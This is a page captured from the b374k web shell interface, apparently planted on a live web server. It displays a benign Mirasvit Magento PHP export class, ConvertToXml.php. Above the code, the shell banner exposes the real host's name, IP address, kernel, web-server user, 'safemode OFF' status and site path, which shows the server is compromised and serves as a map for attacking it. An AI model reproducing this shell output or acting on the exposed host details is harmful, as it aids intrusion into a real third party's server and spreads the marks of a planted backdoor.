b374k
m1n1 1.01
Apache/2.4.41 (Ubuntu)
Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
server ip : 62.171.164.128 | your ip : 127.0.0.1
safemode OFF
 >  / home / a / home / dev2.destoffenstraat.com / app / code / Mirasvit / Report / Model / Export /
Filename/home/a/home/dev2.destoffenstraat.com/app/code/Mirasvit/Report/Model/Export/ConvertToXml.php
Size3.24 kb
Permissionrwxrwxrwx
Ownerroot : root
Create time21-Aug-2025 12:26
Last modified15-Oct-2024 20:30
Last accessed23-Aug-2025 00:55
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
/**
* Mirasvit
*
* This source file is subject to the Mirasvit Software License, which is available at https://mirasvit.com/license/.
* Do not edit or add to this file if you wish to upgrade the to newer versions in the future.
* If you wish to customize this module for your needs.
* Please refer to http://www.magentocommerce.com for more information.
*
* @category Mirasvit
* @package mirasvit/module-report
* @version 1.4.38
* @copyright Copyright (C) 2024 Mirasvit (https://mirasvit.com/)
*/



namespace Mirasvit\Report\Model\Export;

use Magento\Framework\Filesystem;
use Magento\Ui\Model\Export\SearchResultIteratorFactory;
use Mirasvit\Report\Service\XmlWriter;
use Mirasvit\Report\Service\XmlWriterFactory;
use Mirasvit\ReportApi\Api\ResponseInterface;
use Mirasvit\ReportApi\Api\RequestInterface;

class ConvertToXml extends ConvertToCsv
{
/**
* @var XmlWriterFactory
*/
protected $xmlWriterFactory;

/**
* @var SearchResultIteratorFactory
*/
protected $iteratorFactory;

/**
* ConvertToXml constructor.
*
* @param SearchResultIteratorFactory $iteratorFactory
* @param Filesystem $filesystem
* @param XmlWriterFactory $xmlWriterFactory
*
* @throws \Magento\Framework\Exception\FileSystemException
*/
public function __construct(
SearchResultIteratorFactory $iteratorFactory,
Filesystem $filesystem,
XmlWriterFactory $xmlWriterFactory
) {
$this->iteratorFactory = $iteratorFactory;
$this->xmlWriterFactory = $xmlWriterFactory;

parent::__construct($filesystem);
}

/**
* @param \Mirasvit\ReportApi\Processor\ResponseItem $item
*
* @return array
*/
public function getItemData($item)
{
return $item->getFormattedData();
}

/**
* @param RequestInterface $request
*
* @return array
* @throws \Magento\Framework\Exception\FileSystemException
*/
public function getXmlFile(RequestInterface $request)
{
$name = hash('sha256', microtime());
$file = 'export/' . $name . '.xml';

$this->directory->create('export');
$stream = $this->directory->openFile($file, 'w+');
$stream->lock();

$header = [];

for ($i = 1; $i == $i; $i++) {
$r = clone $request;
$r->setCurrentPage($i);
$resp = $r->process();

if(!$resp->getItems()) {
break;
}

/** @var XmlWriter $xmlWriter */
$xmlWriter = $this->xmlWriterFactory->create([
'iterator' => $this->iteratorFactory->create(['items' => $resp->getItems()]),
'rowCallback' => [$this, 'getItemData'],
]);

if($i === 1) {
foreach ($resp->getColumns() as $column) {
$header[] = $column->getLabel();
}

$xmlWriter->setDataHeader($header);
}

$xmlWriter->write($stream, $name . '.xml');
}

$stream->unlock();
$stream->close();

return [
'type' => 'filename',
'value' => $file,
'rm' => true // can delete file after use
];
}
}